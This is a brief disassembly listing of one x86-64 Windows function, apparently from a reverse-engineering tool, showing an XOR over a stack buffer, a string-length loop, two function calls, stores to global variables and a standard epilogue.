xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xor r14d, r14d
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x38], r14
lea rax, [rbp + 0x80]
nop dword [rax]
inc rsi
cmp byte [rax + rsi], r14b
jne 0x140023350
mov r8, rsi
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x20]
call fcn.14001f1c0
lea r8, [rbp + 0x20]
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x68]
call fcn.1400206f0
mov rcx, qword [rax]
mov qword [0x1402dfe90], rcx
mov rax, qword [rbp + 0xe0]
mov qword [0x1402dfeb8], rax
mov rax, qword [rbp + 0xe8]
mov qword [0x1402dfeb0], rax
mov rax, qword [rbp + 0xf0]
mov qword [0x1402dfec0], rax
mov rax, qword [rbp + 0xc0]
mov qword [0x1402dfea8], rax
mov rax, qword [rbp]
mov qword [0x1402dfec8], rax
mov qword [0x1402dfea0], rbx
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret